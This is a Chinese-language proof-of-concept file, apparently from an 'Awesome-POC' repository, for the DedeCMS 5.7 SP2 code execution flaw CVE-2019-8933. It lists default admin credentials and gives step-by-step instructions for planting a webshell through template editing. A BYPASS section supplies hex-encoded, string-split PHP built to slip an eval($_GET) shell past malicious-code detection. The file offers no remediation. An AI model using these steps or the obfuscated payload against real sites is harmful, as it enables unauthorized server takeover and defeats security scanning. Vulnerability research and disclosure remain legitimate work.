Awesome-POC/CMS漏洞/DedeCMS 5.7SP2 代码执行漏洞 CVE-2019-8933.md
2024-11-06 14:10:36 +08:00

67 lines
2.2 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# DedeCMS 5.7SP2 代码执行漏洞 CVE-2019-8933
## 漏洞描述
Desdev DedeCMS织梦内容管理系统是中国卓卓网络Desdev公司的一套基于 PHP 的开源内容管理系统CMS。该系统具有内容发布、内容管理、内容编辑和内容检索等功用。 DedeCMS 5.7 SP2 版本中存在漏洞。远程攻击者可经过在添加新模板时,将文件名 ../index.html 更改成 ../index.php 应用该漏洞向 uploads/ 目录上传 .php 文件并执行该文件。
## 漏洞影响
```
DedeCMS 5.7 SP2
```
## 漏洞复现
默认后台登陆路径 `/dede/login.php``/uploads/dede/login.php` ,默认用户名密码 `admin/admin`
![](images/DedeCMS%205.7SP2%20代码执行漏洞%20CVE-2019-8933/image-20240327100333720.png)
模板 -> 默认模板管理 -> 新建模板写入shell保存
![](images/DedeCMS%205.7SP2%20代码执行漏洞%20CVE-2019-8933/image-20240327103008160.png)
生成 -> 更新主页 HTML -> 浏览:
```
选择主页模板default/newtpl.htm
主页位置:更改.html后缀为.php
首页模式:生成静态
```
![](images/DedeCMS%205.7SP2%20代码执行漏洞%20CVE-2019-8933/image-20240327103144180.png)
连接 webshell
```
http://<YOUR-IP>/index.php
```
![](images/DedeCMS%205.7SP2%20代码执行漏洞%20CVE-2019-8933/image-20240327103310620.png)
### BYPASS
如果被检测到存在恶意代码:
![](images/DedeCMS%205.7SP2%20代码执行漏洞%20CVE-2019-8933/image-20240327104323450.png)
进行绕过,保存成功:
```php
// file_put_contents('./shell.php', "<?php eval($_GET[a]);");
<?php
"\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"('./shell.php', "<?php eva" . "l(\$_GE" . "T[a]);");
```
核心 -> 频道类型 -> 单页文档管理,通过新建模板 `newtpl.htm` 新建页面,更改 .html 后缀为 .php
![](images/DedeCMS%205.7SP2%20代码执行漏洞%20CVE-2019-8933/image-20240327104903691.png)
现在,我们在 `/a/` 目录下创建了一个文件,访问 `/a/npc.php` 页面,将会执行 `file_put_contents` 函数生成一个 `shell.php`
```
http://<YOUR-IP>/a/shell.php
```
![](images/DedeCMS%205.7SP2%20代码执行漏洞%20CVE-2019-8933/image-20240327105235514.png)